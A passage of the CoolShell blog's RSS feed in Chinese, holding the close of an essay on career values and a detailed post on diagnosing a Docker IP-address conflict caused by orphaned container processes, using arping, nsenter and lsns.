noreferrer\">Gitchat上的一些问答</a>。</p>\n<p>&nbsp;</p>\n<p><strong>创业</strong>。前两天，有个小伙来跟我说，说他要离开BAT要去创业公司了，说在那些更自由一些，没有大公司的种种问题。我毫不犹豫地教育了他一下，我说，你选择这个创业公司的动机不对啊，你无非就是在逃避一些东西罢了，你把创业公司当做是一个避风港，这是不对的，创业公司的问题可能会更多，去创业公司的更好的心态是，这个创业公司在干的事业是不是你的事业？说白了，如果你是为了你的事业，为了解决个什么，为了改进个什么，那么，创业是适合你的，<strong>也只有在做自己事业的时候，你才能不惧困难，才会勇敢地面对一切</strong>。<strong>那种想找一个安稳的避风港呆着的心态是不会让你平静地，你要知道世界本来就是不平静的，找了自己的归宿和目标才可能让你真正的平静</strong>。所以，在我现的创业团队，我不要求大家加班，我也不鸡汤洗脑，对于想要加入的人，我会跟他讲我现在遇到的各种问题以及各种机遇，并一直在让他自己思考，我们在做的事是不是自己的事业诉求？还可不可以更好？<strong>每个人都应该为自己的事业为自己的理想去活一次，追逐自己的事业和理想并不容易，需要有很大的付出，而也只有你心底里的那个理想值得这么大的付出</strong>……</p>\n<p>&nbsp;</p>\n<p><strong>客户</strong>。基于上述的价值观，在我现在创业的时候，我在面对客户的时候，也是一样的，我并不会完全的迁就于客户，我的一些银行客户和互联网客户应该体会到我的做的方式了，我并不觉得迁就用户，用户要什么我就应该给什么，用户想听什么，我就说什么，虽然这样可以省着精力，更圆滑，但这都不是我喜欢的，<strong>我更愿意鲜明地表达我的观点，并拉着用户跟我一起成长，因为我并不觉得完成客户的项目有成就感，我的成就感来自客户的成长</strong>。所以，面对客户有些做得不对有问题有隐患的地方，或是有什么做错的事，我基本上都是直言不讳地说出来，因为我觉得把真实的相法说出来是对客户和对自己最基本的尊重，不管客户最终的选择是什么，我都要把利弊跟客户讲清楚。我并不是在这里装，因为，我也想做一些更高级更有技术含量的事，所以，对于一些还达到的客户，我如果不把他们拉上来，我也对不起自己。</p>\n<p>&nbsp;</p>\n<p>在我“不惑之年”形成了这些价值观体系，也许未来还会变，也许还不成熟，总之，我不愿跟大多数人一样，因为大多数人都是随遇而安随大流的，因为这样风险最小，而我想走一条属于自己的路，做真正的自己，就像我24岁从银行里出来时想的那样，<strong>我选择对了一个正确的专业（计算机科学），呆在了一个正确的年代（信息化革命），这样的“狗屎运”几百年不遇，如果我还患得患失，那我岂不辜负活在这样一个刺激的时代？！我所要做的就是在这个时代中做有价值的事就好了！这个时代真的是太好了！</strong></p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19085.html\">谈谈我的“三观”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/19085.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>151</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>记一次Kubernetes/Docker网络排障</title>\n\t\t<link>https://coolshell.cn/articles/18654.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/18654.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 08 Dec 2018 03:57:35 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Docker]]></category>\n\t\t<category><![CDATA[Kubernetes]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[network]]></category>\n\t\t<category><![CDATA[Systemd]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=18654</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>昨天周五晚上，临下班的时候，用户给我们报了一个比较怪异的Kubernetes集群下的网络不能正常访问的问题，让我们帮助查看一下，我们从下午5点半左右一直跟进到晚...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/18654.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-18662\" src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1.png\" alt=\"\" width=\"300\" height=\"238\" />昨天周五晚上，临下班的时候，用户给我们报了一个比较怪异的Kubernetes集群下的网络不能正常访问的问题，让我们帮助查看一下，我们从下午5点半左右一直跟进到晚上十点左右，在远程不能访问用户机器只能远程遥控用户的情况找到了的问题。这个问题比较有意思，我个人觉得其中的调查用到的的命令以及排障的一些方法可以分享一下，所以写下了这篇文章。</p>\n<h4>问题的症状</h4>\n<p>用户直接在微信里说，他们发现在Kuberbnetes下的某个pod被重启了几百次甚至上千次，于是开启调查这个pod，发现上面的服务时而能够访问，时而不能访问，也就是有一定概率不能访问，不知道是什么原因。而且并不是所有的pod出问题，而只是特定的一两个pod出了网络访问的问题。用户说这个pod运行着Java程序，为了排除是Java的问题，用户用 <code>docker exec -it</code> 命令直接到容器内启了一个 Python的 SimpleHttpServer来测试发现也是一样的问题。</p>\n<p>我们大概知道用户的集群是这样的版本，Kuberbnetes 是1.7，网络用的是flannel的gw模式，Docker版本未知，操作系统CentOS 7.4，直接在物理机上跑docker，物理的配置很高，512GB内存，若干CPU核，上面运行着几百个Docker容器。</p>\n<p><span id=\"more-18654\"></span></p>\n<h4>问题的排查</h4>\n<h5>问题初查</h5>\n<p>首先，我们排除了flannel的问题，因为整个集群的网络通信都正常，只有特定的某一两个pod有问题。而用 <code>telnet ip port</code> 的命令手工测试网络连接时有很大的概率出现 <code>connection refused</code> 错误，大约 1/4的概率，而3/4的情况下是可以正常连接的。</p>\n<p>当时，我们让用户抓个包看看，然后，用户抓到了有问题的TCP连接是收到了 <code>SYN</code> 后，立即返回了 <code>RST, ACK</code></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-18655\" src=\"https://coolshell.cn/wp-content/uploads/2018/12/tcpdump.png\" alt=\"\" width=\"700\" height=\"80\" /></p>\n<p>我问一下用户这两个IP所在的位置，知道了，<code>10.233.14.129</code> 是 <code>docker0</code>，<code>10.233.14.145</code> 是容器内的IP。所以，这基本上可以排除了所有和kubernets或是flannel的问题，这就是本地的Docker上的网络的问题。</p>\n<p>对于这样被直接 Reset 的情况，在 <code>telnet</code> 上会显示 <code>connection refused</code> 的错误信息，对于我个人的经验，这种 <code>SYN</code>完直接返回 <code>RST, ACK</code>的情况只会有三种情况：</p>\n<ol>\n<li> TCP链接不能建立，不能建立连接的原因基本上是标识一条TCP链接的那五元组不能完成，绝大多数情况都是服务端没有相关的端口号。</li>\n<li>TCP链接建错误，有可能是因为修改了一些TCP参数，尤其是那些默认是关闭的参数，因为这些参数会导致TCP协议不完整。</li>\n<li>有防火墙iptables的设置，其中有 <code>REJECT</code> 规则。</li>\n</ol>\n<p>因为当时还在开车，在等红灯的时候，我感觉到有点像 NAT 的网络中服务端开启了 <code>tcp_tw_recycle</code> 和 <code>tcp_tw_reuse</code> 的症况（详细参看《<a href=\"https://coolshell.cn/articles/11564.html\" target=\"_blank\" rel=\"noopener noreferrer\">TCP的那些事（上）</a>》），所以，让用户查看了一上TCP参数，发现用户一个TCP的参数都没有改，全是默认的，于是我们排除了TCP参数的问题。</p>\n<p>然后，我也不觉得容器内还会设置上iptables，而且如果有那就是100%的问题，不会时好时坏。所以，我怀疑容器内的端口号没有侦听上，但是马上又好了，这可能会是应用的问题。于是我让用户那边看一下，应用的日志，并用 <code>kublet describe</code>看一下运行的情况，并把宿主机的 iptables 看一下。</p>\n<p>然而，我们发现并没有任何的问题。这时，<strong>我们失去了所有的调查线索，感觉不能继续下去了……</strong></p>\n<h5>重新梳理</h5>\n<p>这个时候，回到家，大家吃完饭，和用户通了一个电话，把所有的细节再重新梳理了一遍，这个时候，用户提供了一个比较关键的信息—— “<strong>抓包这个事，在 <code>docker0</code> 上可以抓到，然而到了容器内抓不到容器返回 <code>RST, ACK</code> </strong>” ！然而，根据我的知识，我知道在 <code>docker0</code> 和容器内的 <code>veth</code> 网卡上，中间再也没有什么网络设备了（参看《<a href=\"https://coolshell.cn/articles/17029.html\" target=\"_blank\" rel=\"noopener noreferrer\">Docker基础技术：LINUX NAMESPACE（下）</a>》）!</p>\n<p>于是这个事把我们逼到了最后一种情况 —— IP地址冲突了！</p>\n<p>Linux下看IP地址冲突还不是一件比较简单事的，而在用户的生产环境下没有办法安装一些其它的命令，所以只能用已有的命令，这个时候，我们发现用户的机器上有 <code>arping</code> 于是我们用这个命令来检测有没有冲突的IP地址。使用了下面的命令：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ arping -D -I docker0 -c 2 10.233.14.145\n$ echo $?\n</pre>\n<p>根据文档，<code>-D</code> 参数是检测IP地址冲突模式，如果这个命令的退状态是 <code>0</code> 那么就有冲突。结果返回了 <code>1</code> 。而且，我们用 <code>arping</code> IP的时候，没有发现不同的mac地址。 <strong>这个时候，似乎问题的线索又断了</strong>。</p>\n<p>因为客户那边还在处理一些别的事情，所以，我们在时断时续的情况下工作，而还一些工作都需要用户完成，所以，进展有点缓慢，但是也给我们一些时间思考问题。</p>\n<h5>柳暗花明</h5>\n<p>现在我们知道，IP冲突的可能性是非常大的，但是我们找不出来是和谁的IP冲突了。而且，我们知道只要把这台机器重启一下，问题一定就解决掉了，但是我们觉得这并不是解决问题的方式，因为重启机器可以暂时的解决掉到这个问题，而如果我们不知道这个问题怎么发生的，那么未来这个问题还会再来。而重启线上机器这个成本太高了。</p>\n<p>于是，我们的好奇心驱使我们继续调查。我让用户 <code>kubectl delete</code> 其中两个有问题的pod，因为本来就服务不断重启，所以，删掉也没有什么问题。删掉这两个pod后（一个是IP为 <code>10.233.14.145</code> 另一个是 <code>10.233.14.137</code>），我们发现，kubernetes在其它机器上重新启动了这两个服务的新的实例。然而，<strong>在问题机器上，这两个IP地址居然还可以ping得通</strong>。</p>\n<p>好了，IP地址冲突的问题可以确认了。因为<code>10.233.14.xxx</code> 这个网段是 docker 的，所以，这个IP地址一定是在这台机器上。所以，我们想看看所有的 network namespace 下的 veth 网卡上的IP。</p>\n<p>在这个事上，我们费了点时间，因为对相关的命令也 很熟悉，所以花了点时间Google，以及看相关的man。</p>\n<ul>\n<li>首先，我们到 <code>/var/run/netns</code>目录下查看系统的network namespace，发现什么也没有。</li>\n<li>然后，我们到 <code>/var/run/docker/netns</code> 目录下查看Docker的namespace，发现有好些。</li>\n<li>于是，我们用指定位置的方式查看Docker的network namespace里的IP地址</li>\n</ul>\n<p>这里要动用 <code>nsenter</code> 命令，这个命令可以进入到namespace里执行一些命令。比如</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ nsenter --net=/var/run/docker/netns/421bdb2accf1 ifconfig -a\n</pre>\n<p>上述的命令，到 <code>var/run/docker/netns/421bdb2accf1</code> 这个network namespace里执行了 <code>ifconfig -a</code> 命令。于是我们可以用下面 命令来遍历所有的network namespace。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ ls /var/run/docker/netns | xargs -I {} nsenter --net=/var/run/docker/netns/{} ip addr \n</pre>\n<p>然后，我们发现了比较诡异的事情。</p>\n<ul>\n<li><code>10.233.14.145</code> 我们查到了这个IP，说明，docker的namespace下还有这个IP。</li>\n<li><code>10.233.14.137</code>，这个IP没有在docker的network namespace下查到。</li>\n</ul>\n<p>有namespace leaking？于是我上网查了一下，发现了一个docker的bug &#8211; 在docker remove/stop 一个容器的时候，没有清除相应的network namespace，这个问题被报告到了 <a href=\"https://github.com/moby/moby/issues/31597\">Issue#31597</a> 然后被fix在了 <a href=\"https://github.com/moby/moby/pull/31996\">PR#31996</a>，并Merge到了 Docker的 17.05版中。而用户的版本是 17.09，应该包含了这个fix。不应该是这个问题，感觉又走不下去了。</p>\n<p>不过， <code>10.233.14.137</code> 这个IP可以ping得通，说明这个IP一定被绑在某个网卡，而且被隐藏到了某个network namespace下。</p>\n<p>到这里，要查看所有network namespace，只有最后一条路了，那就是到 <code>/proc/</code> 目录下，把所有的pid下的 <code>/proc/&lt;pid&gt;/ns</code> 目录给穷举出来。好在这里有一个比较方便的命令可以干这个事 ： <code>lsns</code></p>\n<p>于是我写下了如下的命令：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ lsns -t net | awk ‘{print $4}&#039; | xargs -t -I {} nsenter -t {}&amp;nbsp;-n ip addr | grep -C 4 &quot;10.233.14.137&quot;\n</pre>\n<p>解释一下。</p>\n<ul>\n<li><code>lsns -t net</code> 列出所有开了network namespace的进程，其第4列是进程PID</li>\n<li>把所有开过network namespace的进程PID拿出来，转给 <code>xargs</code> 命令</li>\n<li>由 <code>xargs</code> 命令把这些PID 依次传给 <code>nsenter</code> 命令，\n<ul>\n<li><code>xargs -t</code> 的意思是会把相关的执行命令打出来，这样我知道是那个PID。</li>\n<li><code>xargs -I {}</code>  是声明一个占位符来替换相关的PID</li>\n</ul>\n</li>\n</ul>\n<p>最后，我们发现，虽然在 <code>/var/run/docker/netns</code> 下没有找到 <code>10.233.14.137</code> ，但是在 <code>lsns</code> 中找到了三个进程，他们都用了<code>10.233.14.137</code> 这个IP（冲突了这么多），<strong>而且他们的MAC地址全是一样的！</strong>（怪不得arping找不到）。通过<code>ps</code> 命令，可以查到这三个进程，有两个是java的，还有一个是<code>/pause</code> （这个应该是kubernetes的沙盒）。</p>\n<p>我们继续乘胜追击，穷追猛打，用<code>pstree</code>命令把整个进程树打出来。发现上述的三个进程的父进程都在多个同样叫 <code>docker-contiane</code> 的进程下！</p>\n<p><strong>这明显还是docker的，但是在<code>docker ps</code> 中却找不道相应的容器，什么鬼！快崩溃了……</strong></p>\n<p>继续看进程树，发现，这些 <code>docker-contiane</code> 的进程的父进程不在 <code>dockerd</code> 下面，而是在 <code>systemd</code> 这个超级父进程PID 1下，我靠！进而发现了一堆这样的野进程（这种野进程或是僵尸进程对系统是有害的，至少也是会让系统进入亚健康的状态，因为他们还在占着资源）。</p>\n<p><code>docker-contiane</code> 应该是 <code>dockerd</code> 的子进程，被挂到了 <code>pid 1</code> 只有一个原因，那就是父进程“飞”掉了，只能找 pid 1 当养父。这说明，这台机器上出现了比较严重的 <code>dockerd</code> 进程退出的问题，而且是非常规的，因为 <code>systemd</code> 之所以要成为 pid 1，其就是要监管所有进程的子子孙孙，居然也没有管理好，说明是个非常规的问题。（注，关于 systemd，请参看《<a href=\"https://coolshell.cn/articles/17998.html\" target=\"_blank\" rel=\"noopener noreferrer\">Linux PID 1 和 Systemd </a>》，关于父子进程的事，请参看《Unix高级环境编程》一书）</p>\n<p>接下来就要看看 <code>systemd</code> 为 <code>dockerd</code> 记录的日志了…… （然而日志只有3天的了，这3天<code>dockerd</code>没有任何异常）</p>\n<h4>总结</h4>\n<p>通过这个调查，可以总结一下，</p>\n<p>1） 对于问题调查，需要比较扎实的基础知识，知道问题的成因和范围。</p>\n<p>2）如果走不下去了，要重新梳理一下，回头仔细看一下一些蛛丝马迹，认真推敲每一个细节。</p>\n<p>3） 各种诊断工具要比较熟悉，这会让你事半功倍。</p>\n<p>4）系统维护和做清洁比较类似，需要经常看看系统中是否有一些僵尸进程或是一些垃圾东西，这些东西要及时清理掉。</p>\n<p>最后，多说一下，很多人都说，<strong>Docker适合放在物理机内运行，这并不完全对，因为他们只考虑到了性能成本，没有考虑到运维成本，在这样512GB中启动几百个容器的玩法，其实并不好，因为这本质上是个大单体，因为你一理要重启某些关键进程或是机器，你的影响面是巨大的</strong>。</p>\n<p>&nbsp;</p>\n<p>———————— 更新 2018/12/10 —————————</p>\n<h4>问题原因</h4>\n<p>这两天在自己的环境下测试了一下，发现，只要是通过 <code>systemctl start/stop docker</code> 这样的命令来启停 Docker， 是可以把所有的进程和资源全部干掉的。这个是没有什么问题的。我唯一能重现用户问题的的操作就是直接 <code>kill -9 &lt;dockerd pid&gt;</code> 但是这个事用户应该不会干。而 Docker 如果有 crash 事件时，Systemd 是可以通过 <code>journalctl -u docker</code> 这样的命令查看相关的系统日志的。</p>\n<p>于是，我找用户了解一下他们在Docker在启停时的问题，用户说，<strong>他们的执行 <code>systemctl stop docker</code> 这个命令的时候，发现这个命令不响应了，有可能就直接按了 <code>Ctrl +C</code> 了</strong>！</p>\n<p>这个应该就是导致大量的 <code>docker-containe</code> 进程挂到 <code>PID 1</code> 下的原因了。前面说过，用户的一台物理机上运行着上百个容器，所以，那个进程树也是非常庞大的，我想，停服的时候，系统一定是要遍历所有的docker子进程来一个一个发退出信号的，这个过程可能会非常的长。导致操作员以为命令假死，而直接按了 <code>Ctrl + C</code> ，最后导致很多容器进程并没有终止……</p>\n<p>&nbsp;</p>\n<h4>其它事宜</h4>\n<p>有同学问，为什么我在这个文章里写的是 <code>docker-containe</code> 而不是 <code>containd</code> 进程？这是因为被 <code>pstree</code> 给截断了，用 <code>ps</code> 命令可以看全，只是进程名的名字有一个 <code>docker-</code>的前缀。</p>\n<p>下面是这两种不同安装包的进程树的差别（其中 <code>sleep</code> 是我用 <code>buybox</code> 镜像启动的）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\nsystemd───dockerd─┬─docker-contained─┬─3*[docker-contained-shim─┬─sleep]\n                  │                 │                    └─9*[{docker-containe}]]\n                  │                 ├─docker-contained-shim─┬─sleep\n                  │                 │                 └─10*[{docker-containe}]\n                  │                 └─14*[{docker-contained-shim}]\n                  └─17*[{dockerd}]\n</pre>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\nsystemd───dockerd─┬─containerd─┬─3*[containerd-shim─┬─sleep]\n                  │            │                 └─9*[{containerd-shim}]\n                  │            ├─2*[containerd-shim─┬─sleep]\n                  │            │                    └─9*[{containerd-shim}]]\n                  │            └─11*[{containerd}]\n                  └─10*[{dockerd}]\n\n</pre>\n<p>顺便说一下，自从 Docker 1.11版以后，Docker进程组模型就改成上面这个样子了.</p>\n<ul>\n<li><code>dockerd</code> 是 Docker Engine守护进程，直接面向操作用户。<code>dockerd</code> 启动时会启动 <code>containerd</code> 子进程，他们之前通过RPC进行通信。</li>\n<li><code>containerd</code> 是<code>dockerd</code>和<code>runc</code>之间的一个中间交流组件。他与 <code>dockerd</code> 的解耦是为了让Docker变得更为的中立，而支持OCI 的标准 。</li>\n<li><code>containerd-shim</code>  是用来真正运行的容器的，每启动一个容器都会起一个新的shim进程， 它主要通过指定的三个参数：容器id，boundle目录（containerd的对应某个容器生成的目录，一般位于：<code>/var/run/docker/libcontainerd/containerID</code>）， 和运行命令（默认为 <code>runc</code>）来创建一个容器。</li>\n<li><code>docker-proxy</code> 你有可能还会在新版本的Docker中见到这个进程，这个进程是用户级的代理路由。只要你用 <code>ps -elf</code> 这样的命令把其命令行打出来，你就可以看到其就是做端口映射的。如果你不想要这个代理的话，你可以在 <code>dockerd</code> 启动命令行参数上加上：  <code>--userland-proxy=false</code> 这个参数。</li>\n</ul>\n<p>更多的细节，大家可以自行Google。这里推荐两篇文章：</p>\n<ul>\n<li><a href=\"https://hackernoon.com/docker-containerd-standalone-runtimes-heres-what-you-should-know-b834ef155426\" target=\"_blank\" rel=\"noopener noreferrer\">Docker, Containerd &amp; Standalone Runtimes — Here’s What You Should Know</a></li>\n<li><a href=\"http://alexander.holbreich.org/docker-components-explained/\" target=\"_blank\" rel=\"noopener noreferrer\">Docker components explained</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17200.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg\" alt=\"Docker基础技术：DeviceMapper\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17200.html\" class=\"wp_rp_title\">Docker基础技术：DeviceMapper</a></li><li ><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" alt=\"Docker基础技术：AUFS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_title\">Docker基础技术：AUFS</a></li><li ><a href=\"https://coolshell.cn/articles/17049.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/filter-150x150.png\" alt=\"Docker基础技术：Linux CGroup\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17049.html\" class=\"wp_rp_title\">Docker基础技术：Linux CGroup</a></li><li ><a href=\"https://coolshell.cn/articles/17010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/isolation-150x150.jpg\" alt=\"Docker基础技术：Linux Namespace（上）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17010.html\" class=\"wp_rp_title\">Docker基础技术：Linux Namespace（上）</a></li><li ><a href=\"https://coolshell.cn/articles/17029.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/jail_cell-150x150.jpg\" alt=\"Docker基础技术：Linux Namespace（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17029.html\" class=\"wp_rp_title\">Docker基础技术：Linux Namespace（下）</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/18654.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>51</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员练级攻略（2018)  与我的专栏</title>\n\t\t<link>https://coolshell.cn/articles/18360.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/18360.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 29 May 2018 04:38:23 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[React]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[分布式]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=18360</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>写极客时间8个月了，我的专栏现在有一定的积累了，今天想自己推荐一下。因为最新的系列《程序员练级攻略（2018）版》正在连载中，而且文章积累量到了我也有比较足的自...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/18360.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2018/05/专栏-300x262.jpg\" alt=\"\" width=\"300\" height=\"262\" />写极客时间8个月了，我的专栏现在有一定的积累了，今天想自己推荐一下。因为最新的系列《程序员练级攻略（2018）版》正在连载中，而且文章积累量到了我也有比较足的自信向大家推荐我的这个专栏了。推荐就从最新的这一系统的文章开始。</p>\n<p>2011年，我在 <a href=\"https://coolshell.cn/\">CoolShell</a> 上发表了 《<a 